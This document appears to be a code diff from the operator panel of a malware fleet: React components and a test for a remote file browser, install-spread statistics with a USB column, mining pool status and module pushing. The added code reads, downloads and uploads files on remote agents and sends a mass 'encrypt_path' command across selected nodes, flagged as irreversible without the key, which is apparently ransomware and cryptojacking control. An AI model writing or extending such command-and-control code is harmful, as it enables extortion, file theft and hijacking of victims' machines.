expect(confirmMock).toHaveBeenCalled();
|
||||
expect(sendAgentCommandMock).toHaveBeenCalledTimes(2);
|
||||
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(1, 'target-1', 'encrypt_path', {
|
||||
path: '/data',
|
||||
command: 'recursive',
|
||||
});
|
||||
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(2, 'target-2', 'encrypt_path', {
|
||||
path: '/data',
|
||||
command: 'recursive',
|
||||
});
|
||||
|
||||
expect(defaultProps.onTerminalLine).toHaveBeenCalledWith(
|
||||
'encrypt_path → /data [recursively] on 2 node(s)',
|
||||
true
|
||||
);
|
||||
});
|
||||
|
||||
it('handles error messages from command results', () => {
|
||||
const errorResults = [
|
||||
{
|
||||
agentId: 'test-agent-id-12345678',
|
||||
action: 'list_dir',
|
||||
success: false,
|
||||
message: 'Permission denied',
|
||||
},
|
||||
];
|
||||
|
||||
render(<FileManager {...defaultProps} commandResults={errorResults} />);
|
||||
|
||||
expect(screen.getByText('Permission denied')).toBeInTheDocument();
|
||||
expect(screen.getByText('Permission denied')).toHaveClass('fm-err');
|
||||
});
|
||||
});
|
||||
@@ -1,42 +1,46 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
defaultBrowseRoot,
|
||||
joinRemotePath,
|
||||
parseListDirMessage,
|
||||
pathBreadcrumbs,
|
||||
type DirEntry,
|
||||
} from '../../help/remoteDirBrowser';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import './FileManager.css';
|
||||
|
||||
interface DirEntry {
|
||||
name: string;
|
||||
is_dir: boolean;
|
||||
size: number;
|
||||
}
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName?: string;
|
||||
platform?: string;
|
||||
online: boolean;
|
||||
/** Encrypt targets — all online selected agents when multi-select */
|
||||
encryptTargets?: { id: string; name: string }[];
|
||||
/** Called when a command_result arrives (from parent WS hook) */
|
||||
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
||||
onTerminalLine?: (text: string, isCmd?: boolean) => void;
|
||||
}
|
||||
|
||||
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
|
||||
try {
|
||||
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
|
||||
if (j.entries && Array.isArray(j.entries)) {
|
||||
return { path: j.path ?? '', entries: j.entries };
|
||||
}
|
||||
} catch {
|
||||
/* not JSON */
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
|
||||
export default function FileManager({
|
||||
agentId,
|
||||
agentName,
|
||||
platform,
|
||||
online,
|
||||
encryptTargets,
|
||||
commandResults,
|
||||
onTerminalLine,
|
||||
}: Props) {
|
||||
const [cwd, setCwd] = useState('');
|
||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
||||
const [homeDir, setHomeDir] = useState('');
|
||||
const [filter, setFilter] = useState('');
|
||||
const [selected, setSelected] = useState<Set<string>>(new Set());
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [preview, setPreview] = useState('');
|
||||
const [err, setErr] = useState('');
|
||||
const [uploadPath, setUploadPath] = useState('');
|
||||
const [recursive, setRecursive] = useState(true);
|
||||
|
||||
const filtered = useMemo(() => {
|
||||
const q = filter.trim().toLowerCase();
|
||||
@@ -54,48 +58,66 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
||||
});
|
||||
}, [agentId, cwd, online]);
|
||||
|
||||
useEffect(() => {
|
||||
setCwd(defaultBrowseRoot(platform));
|
||||
setEntries([]);
|
||||
setHomeDir('');
|
||||
setErr('');
|
||||
setSelected(new Set());
|
||||
setPreview('');
|
||||
}, [agentId, platform]);
|
||||
|
||||
useEffect(() => {
|
||||
refresh();
|
||||
}, [refresh]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length) return;
|
||||
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
|
||||
const last = [...commandResults]
|
||||
.reverse()
|
||||
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'read_file' || r.action === 'download' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
|
||||
if (!last) return;
|
||||
if (last.action === 'list_dir' && last.success) {
|
||||
const parsed = parseListDir(last.message);
|
||||
if (parsed) {
|
||||
setEntries(parsed.entries);
|
||||
if (parsed.path) setCwd(parsed.path);
|
||||
|
||||
if (last.action === 'list_dir') {
|
||||
if (last.success) {
|
||||
const parsed = parseListDirMessage(last.message);
|
||||
if (parsed) {
|
||||
setEntries(parsed.entries);
|
||||
if (parsed.path) setCwd(parsed.path);
|
||||
if (parsed.home_dir) setHomeDir(parsed.home_dir);
|
||||
}
|
||||
} else {
|
||||
setErr(last.message);
|
||||
}
|
||||
setBusy(false);
|
||||
} else if (last.action === 'list_dir' && !last.success) {
|
||||
setErr(last.message);
|
||||
setBusy(false);
|
||||
} else if (last.action === 'read_file' && last.success) {
|
||||
setPreview(last.message.slice(0, 8000));
|
||||
setBusy(false);
|
||||
} else if (last.action === 'read_file' && !last.success) {
|
||||
setErr(last.message);
|
||||
} else if (last.action === 'read_file') {
|
||||
if (last.success) {
|
||||
setPreview(last.message.slice(0, 8000));
|
||||
} else {
|
||||
setErr(last.message);
|
||||
}
|
||||
setBusy(false);
|
||||
} else if (last.action === 'download') {
|
||||
setBusy(false);
|
||||
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
|
||||
setBusy(false);
|
||||
onTerminalLine?.(
|
||||
`${last.action} ${last.success ? 'OK' : 'FAIL'} — ${last.message.slice(0, 500)}`,
|
||||
false
|
||||
);
|
||||
}
|
||||
}, [commandResults, agentId]);
|
||||
}, [commandResults, agentId, onTerminalLine]);
|
||||
|
||||
const navigate = (name: string, isDir: boolean) => {
|
||||
if (!isDir) return;
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
if (name === '..') {
|
||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
|
||||
parts.pop();
|
||||
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
|
||||
}
|
||||
setCwd(next);
|
||||
if (!isDir && name !== '..') return;
|
||||
setCwd(joinRemotePath(cwd, name));
|
||||
setSelected(new Set());
|
||||
};
|
||||
|
||||
const goHome = () => {
|
||||
setCwd(homeDir || '');
|
||||
};
|
||||
|
||||
const toggleSelect = (name: string) => {
|
||||
setSelected((prev) => {
|
||||
const n = new Set(prev);
|
||||
@@ -111,7 +133,7 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
||||
if (!online || selected.size === 0) return;
|
||||
setBusy(true);
|
||||
for (const name of selected) {
|
||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
const p = joinRemotePath(cwd, name);
|
||||
try {
|
||||
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
|
||||
if (res && typeof res === 'object' && 'success' in res) {
|
||||
@@ -125,7 +147,7 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
||||
};
|
||||
|
||||
const readFile = (name: string) => {
|
||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
const p = joinRemotePath(cwd, name);
|
||||
setBusy(true);
|
||||
setPreview('');
|
||||
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
|
||||
@@ -134,19 +156,60 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
||||
});
|
||||
};
|
||||
|
||||
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
|
||||
const runEncrypt = () => {
|
||||
const targets = (encryptTargets ?? []).filter(Boolean);
|
||||
if (targets.length === 0) {
|
||||
alert('Select at least one online node.');
|
||||
return;
|
||||
}
|
||||
const pathLabel = cwd || homeDir || '(agent home)';
|
||||
const scope = recursive ? 'recursively' : 'non-recursively';
|
||||
const warn =
|
||||
targets.length > 1
|
||||
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
|
||||
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
|
||||
if (!confirm(warn)) return;
|
||||
|
||||
setBusy(true);
|
||||
onTerminalLine?.(
|
||||
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
|
||||
true
|
||||
);
|
||||
|
||||
for (const t of targets) {
|
||||
api
|
||||
.sendAgentCommand(t.id, 'encrypt_path', {
|
||||
path: cwd || homeDir,
|
||||
command: recursive ? 'recursive' : '',
|
||||
})
|
||||
.catch((e) => {
|
||||
onTerminalLine?.(
|
||||
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
|
||||
false
|
||||
);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
const crumbs = pathBreadcrumbs(cwd);
|
||||
const browseLabel = homeDir || cwd || 'agent home';
|
||||
|
||||
return (
|
||||
<div className="file-manager">
|
||||
<div className="fm-header">
|
||||
<span className="font-tech fm-title">FILE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
|
||||
<span className="font-tech fm-title">
|
||||
FILE BROWSER — {agentName ?? agentId.slice(0, 8)} <HelpTip field="fm_remote_browse" />
|
||||
</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
{!online && <p className="fm-offline">Agent offline</p>}
|
||||
<div className="fm-path font-tech" title={cwd || homeDir}>
|
||||
{browseLabel}
|
||||
</div>
|
||||
<div className="fm-breadcrumb font-tech">
|
||||
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
|
||||
<button type="button" className="fm-crumb" onClick={goHome}>home</button>
|
||||
{crumbs.map((c, i) => (
|
||||
<span key={i}>
|
||||
<span className="fm-sep">/</span>
|
||||
@@ -155,6 +218,11 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
||||
className="fm-crumb"
|
||||
onClick={() => {
|
||||
const parts = crumbs.slice(0, i + 1);
|
||||
// Normalise Windows drive roots: 'C:' → 'C:\\'
|
||||
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
||||
setCwd(`${parts[0]}\\`);
|
||||
return;
|
||||
}
|
||||
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
|
||||
}}
|
||||
>
|
||||
@@ -190,24 +258,46 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
||||
Download selected
|
||||
</button>
|
||||
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
|
||||
<label className="btn btn-outline btn-sm">
|
||||
Upload
|
||||
<input
|
||||
type="file"
|
||||
hidden
|
||||
disabled={!online || busy}
|
||||
onChange={async (ev) => {
|
||||
const file = ev.target.files?.[0];
|
||||
if (!file) return;
|
||||
const { readFileAsBase64 } = await import('../../help/desktopPush');
|
||||
const b64 = await readFileAsBase64(file);
|
||||
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
|
||||
setBusy(true);
|
||||
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
|
||||
ev.target.value = '';
|
||||
}}
|
||||
/>
|
||||
</label>
|
||||
<span className="fm-upload-wrap">
|
||||
<label className="btn btn-outline btn-sm">
|
||||
Upload
|
||||
<input
|
||||
type="file"
|
||||
hidden
|
||||
disabled={!online || busy}
|
||||
onChange={async (ev) => {
|
||||
const file = ev.target.files?.[0];
|
||||
if (!file) return;
|
||||
const { readFileAsBase64 } = await import('../../help/desktopPush');
|
||||
const b64 = await readFileAsBase64(file);
|
||||
const dest = uploadPath.trim() || joinRemotePath(cwd, file.name);
|
||||
setBusy(true);
|
||||
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 })
|
||||
.catch((e) => setErr(e instanceof Error ? e.message : String(e)))
|
||||
.finally(() => setBusy(false));
|
||||
ev.target.value = '';
|
||||
}}
|
||||
/>
|
||||
</label>
|
||||
<HelpTip field="fm_upload" />
|
||||
</span>
|
||||
{encryptTargets && encryptTargets.length > 0 && (
|
||||
<div className="fm-encrypt-section">
|
||||
<label className="fm-recursive-label">
|
||||
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
|
||||
Recursive
|
||||
</label>
|
||||
<button
|
||||
type="button"
|
||||
className="button btn-sm fm-encrypt-btn"
|
||||
disabled={!online || busy}
|
||||
onClick={runEncrypt}
|
||||
>
|
||||
🔒 Encrypt path ({encryptTargets.length})
|
||||
</button>
|
||||
<HelpTip field="fm_encrypt_path" />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
{err && <p className="fm-err">{err}</p>}
|
||||
{preview && <pre className="fm-preview">{preview}</pre>}
|
||||
|
||||
@@ -1,35 +1,41 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { useCallback, useEffect, useState } from 'react';
|
||||
import { useVisibleInterval } from '../../hooks/usePageVisible';
|
||||
import { api } from '../../api/client';
|
||||
import type { AuditEntry } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
|
||||
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
|
||||
const [entries, setEntries] = useState<AuditEntry[]>([]);
|
||||
|
||||
useEffect(() => {
|
||||
const refresh = useCallback(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
|
||||
const t = setInterval(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
|
||||
}, 60000);
|
||||
return () => clearInterval(t);
|
||||
}, [limit]);
|
||||
|
||||
useEffect(() => {
|
||||
refresh();
|
||||
}, [refresh]);
|
||||
|
||||
useVisibleInterval(refresh, 60000);
|
||||
|
||||
return (
|
||||
<NeonCard accent="purple" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>
|
||||
OPERATOR AUDIT <HelpTip field="dash_operator_audit" />
|
||||
</h3>
|
||||
<p style={{ color: 'var(--text-muted)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
|
||||
{entries.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
|
||||
<p style={{ color: 'var(--text-muted)', fontSize: '0.85rem' }}>No audit entries yet.</p>
|
||||
) : (
|
||||
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
|
||||
{entries.map((e) => (
|
||||
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
|
||||
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
|
||||
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid rgba(140, 120, 60, 0.15)' }}>
|
||||
<span style={{ color: 'var(--text-muted)' }}>{new Date(e.timestamp).toLocaleString()}</span>
|
||||
{' '}
|
||||
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
|
||||
<span style={{ color: 'var(--neon-cyan)' }}>{e.username || '—'}</span>
|
||||
{' · '}
|
||||
<strong>{e.action}</strong>
|
||||
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
|
||||
{e.agent_id && <span style={{ color: 'var(--text-muted)' }}> @{e.agent_id.slice(0, 8)}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
@@ -50,24 +56,26 @@ export function SpreadFunnelWidget() {
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>
|
||||
INSTALL FUNNEL <HelpTip field="dash_install_funnel" />
|
||||
</h3>
|
||||
<p style={{ color: 'var(--text-muted)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
|
||||
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
|
||||
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
||||
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
||||
</div>
|
||||
{byBuild.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||
<p style={{ color: 'var(--text-muted)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||
) : (
|
||||
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
||||
<thead>
|
||||
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
|
||||
<tr style={{ textAlign: 'left', color: 'var(--text-muted)' }}>
|
||||
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{byBuild.slice(0, 10).map((r, i) => (
|
||||
<tr key={i} style={{ borderTop: '1px solid #222' }}>
|
||||
<tr key={i} style={{ borderTop: '1px solid rgba(140, 120, 60, 0.15)' }}>
|
||||
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
||||
<td>{r.worker_name}</td>
|
||||
<td>{r.count}</td>
|
||||
|
||||
@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
|
||||
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
||||
import { timeToPayout } from '../../help/fleetAnalytics';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import './FleetPanels.css';
|
||||
|
||||
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
||||
@@ -28,7 +29,7 @@ export function PoolStatusPanel({ pools }: { pools: PoolStatus[] }) {
|
||||
return (
|
||||
<NeonCard accent="green" className="section" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> Pool Stratum Status
|
||||
<span className="section-ornament">◆</span> Pool Stratum Status <HelpTip field="dash_pool_stratum" />
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
{pools.length === 0 ? (
|
||||
@@ -57,7 +58,7 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
|
||||
return (
|
||||
<NeonCard accent="purple" className="section" hud>
|
||||
<h2 className="section-title font-display">
|
||||
<span className="section-ornament">◆</span> AI Activity Monitor
|
||||
<span className="section-ornament">◆</span> AI Activity Monitor <HelpTip field="dash_ai_activity" />
|
||||
<span className="section-line" />
|
||||
</h2>
|
||||
{entries.length === 0 ? (
|
||||
@@ -188,7 +189,7 @@ export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
||||
<NeonCard accent={accent as any} className="fleet-health-card operator-deck-card operator-interactive" hud>
|
||||
<div className="fh-header">
|
||||
<div>
|
||||
<span className="fh-label font-tech">FLEET HEALTH</span>
|
||||
<span className="fh-label font-tech">FLEET HEALTH <HelpTip field="dash_fleet_health" /></span>
|
||||
<span className={`fh-status-chip fh-${health.color}`}>{health.label}</span>
|
||||
</div>
|
||||
<div className="fh-score" style={{ color: barColor }}>{health.score}</div>
|
||||
|
||||
@@ -5,6 +5,7 @@ import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import { useFleetGroups } from '../../hooks/useFleetGroups';
|
||||
import type { FleetModuleManifest } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import './FleetRuntimePanel.css';
|
||||
|
||||
type TargetMode = 'all' | 'group';
|
||||
@@ -147,7 +148,7 @@ export default function FleetRuntimePanel() {
|
||||
<>
|
||||
<NeonCard accent="green" className="settings-section fleet-policy-deck operator-deck-card operator-interactive" hud>
|
||||
<p className="fleet-policy-eyebrow font-tech">RUNTIME · NO RE-FORGE</p>
|
||||
<h2 className="font-display">Live Fleet Policy</h2>
|
||||
<h2 className="font-display">Live Fleet Policy <HelpTip field="fleet_runtime_policy" /></h2>
|
||||
<p className="section-desc">
|
||||
Push live mining rules to connected workers — schedule, CPU cap, and optional pool overrides apply in memory
|
||||
via <code className="mono-sm">policy_update</code>. Identity and baked forge options stay on the binary; this
|
||||
@@ -376,7 +377,7 @@ export default function FleetRuntimePanel() {
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="magenta" className="settings-section fleet-module-deck operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Push Module to Fleet</h2>
|
||||
<h2 className="font-display">Push Module to Fleet <HelpTip field="fleet_runtime_modules" /></h2>
|
||||
<p className="section-desc">
|
||||
Stage signed feature packs from <code className="mono-sm">data/modules/</code> — agents fetch via{' '}
|
||||
<code className="mono-sm">GET /api/v1/agent/module/{name}</code> and enable flags without a full
|
||||
|
||||
@@ -56,7 +56,7 @@
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--accent-cyan, #00f5ff);
|
||||
color: var(--neon-cyan);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,137 +0,0 @@
|
||||
.remote-dir-browser {
|
||||
border: 1px solid rgba(255, 34, 34, 0.35);
|
||||
border-radius: 6px;
|
||||
padding: 0.65rem 0.75rem;
|
||||
background: rgba(40, 0, 0, 0.25);
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
.rdb-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.rdb-title {
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.08em;
|
||||
color: #ff8888;
|
||||
}
|
||||
|
||||
.rdb-hint {
|
||||
margin: 0 0 0.45rem;
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
|
||||
.rdb-offline {
|
||||
color: #ff6666;
|
||||
font-size: 0.78rem;
|
||||
margin: 0.25rem 0;
|
||||
}
|
||||
|
||||
.rdb-path {
|
||||
font-size: 0.72rem;
|
||||
color: var(--neon-cyan);
|
||||
margin-bottom: 0.35rem;
|
||||
word-break: break-all;
|
||||
}
|
||||
|
||||
.rdb-breadcrumb {
|
||||
margin-bottom: 0.4rem;
|
||||
flex-wrap: wrap;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.rdb-crumb {
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
cursor: pointer;
|
||||
font-size: 0.72rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.rdb-sep {
|
||||
opacity: 0.45;
|
||||
margin: 0 0.15rem;
|
||||
}
|
||||
|
||||
.rdb-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
max-height: 180px;
|
||||
overflow-y: auto;
|
||||
border: 1px solid #331111;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
}
|
||||
|
||||
.rdb-row {
|
||||
display: flex;
|
||||
width: 100%;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
text-align: left;
|
||||
background: none;
|
||||
border: none;
|
||||
color: #ddd;
|
||||
padding: 0.3rem 0.5rem;
|
||||
cursor: pointer;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.rdb-row:hover {
|
||||
background: rgba(255, 34, 34, 0.12);
|
||||
}
|
||||
|
||||
.rdb-dir {
|
||||
color: #9fdcff;
|
||||
}
|
||||
|
||||
.rdb-size {
|
||||
color: #888;
|
||||
font-size: 0.68rem;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.rdb-actions {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.75rem;
|
||||
margin-top: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.rdb-recursive {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
font-size: 0.75rem;
|
||||
color: #bbb;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.rdb-encrypt-btn {
|
||||
background: linear-gradient(135deg, #7b0000 0%, #cc0000 100%);
|
||||
border: 1px solid #ff2222;
|
||||
color: #fff;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.05em;
|
||||
font-size: 0.78rem;
|
||||
padding: 0.35rem 0.75rem;
|
||||
}
|
||||
|
||||
.rdb-encrypt-btn:disabled {
|
||||
opacity: 0.45;
|
||||
}
|
||||
|
||||
.rdb-err {
|
||||
color: #ff6666;
|
||||
font-size: 0.75rem;
|
||||
margin: 0.35rem 0 0;
|
||||
}
|
||||
@@ -1,211 +0,0 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
defaultBrowseRoot,
|
||||
joinRemotePath,
|
||||
parseListDirMessage,
|
||||
pathBreadcrumbs,
|
||||
type DirEntry,
|
||||
} from '../../help/remoteDirBrowser';
|
||||
import './RemoteDirBrowser.css';
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName?: string;
|
||||
platform?: string;
|
||||
online: boolean;
|
||||
/** Encrypt targets — all online selected agents when multi-select */
|
||||
encryptTargets: { id: string; name: string }[];
|
||||
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
||||
onTerminalLine?: (text: string, isCmd?: boolean) => void;
|
||||
}
|
||||
|
||||
export default function RemoteDirBrowser({
|
||||
agentId,
|
||||
agentName,
|
||||
platform,
|
||||
online,
|
||||
encryptTargets,
|
||||
commandResults,
|
||||
onTerminalLine,
|
||||
}: Props) {
|
||||
const [cwd, setCwd] = useState(() => defaultBrowseRoot(platform));
|
||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
||||
const [homeDir, setHomeDir] = useState('');
|
||||
const [recursive, setRecursive] = useState(true);
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [err, setErr] = useState('');
|
||||
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
const crumbs = useMemo(() => pathBreadcrumbs(cwd), [cwd]);
|
||||
const browseLabel = homeDir || cwd || 'agent home';
|
||||
|
||||
const refresh = useCallback(() => {
|
||||
if (!online || !agentId) return;
|
||||
setBusy(true);
|
||||
setErr('');
|
||||
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
setBusy(false);
|
||||
});
|
||||
}, [agentId, cwd, online]);
|
||||
|
||||
useEffect(() => {
|
||||
setCwd(defaultBrowseRoot(platform));
|
||||
setEntries([]);
|
||||
setHomeDir('');
|
||||
setErr('');
|
||||
}, [agentId, platform]);
|
||||
|
||||
useEffect(() => {
|
||||
refresh();
|
||||
}, [refresh]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length) return;
|
||||
const last = [...commandResults]
|
||||
.reverse()
|
||||
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
|
||||
if (!last) return;
|
||||
|
||||
if (last.action === 'list_dir') {
|
||||
if (last.success) {
|
||||
const parsed = parseListDirMessage(last.message);
|
||||
if (parsed) {
|
||||
setEntries(parsed.entries);
|
||||
if (parsed.path) setCwd(parsed.path);
|
||||
if (parsed.home_dir) setHomeDir(parsed.home_dir);
|
||||
}
|
||||
} else {
|
||||
setErr(last.message);
|
||||
}
|
||||
setBusy(false);
|
||||
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
|
||||
setBusy(false);
|
||||
onTerminalLine?.(
|
||||
`${last.action} ${last.success ? 'OK' : 'FAIL'} — ${last.message.slice(0, 500)}`,
|
||||
false
|
||||
);
|
||||
}
|
||||
}, [commandResults, agentId, onTerminalLine]);
|
||||
|
||||
const navigate = (name: string, isDir: boolean) => {
|
||||
if (!isDir && name !== '..') return;
|
||||
setCwd(joinRemotePath(cwd, name));
|
||||
};
|
||||
|
||||
const goHome = () => {
|
||||
setCwd(homeDir || defaultBrowseRoot(platform));
|
||||
};
|
||||
|
||||
const runEncrypt = () => {
|
||||
const targets = encryptTargets.filter(Boolean);
|
||||
if (targets.length === 0) {
|
||||
alert('Select at least one online node.');
|
||||
return;
|
||||
}
|
||||
const pathLabel = cwd || homeDir || '(agent home)';
|
||||
const scope = recursive ? 'recursively' : 'non-recursively';
|
||||
const warn =
|
||||
targets.length > 1
|
||||
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
|
||||
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
|
||||
if (!confirm(warn)) return;
|
||||
|
||||
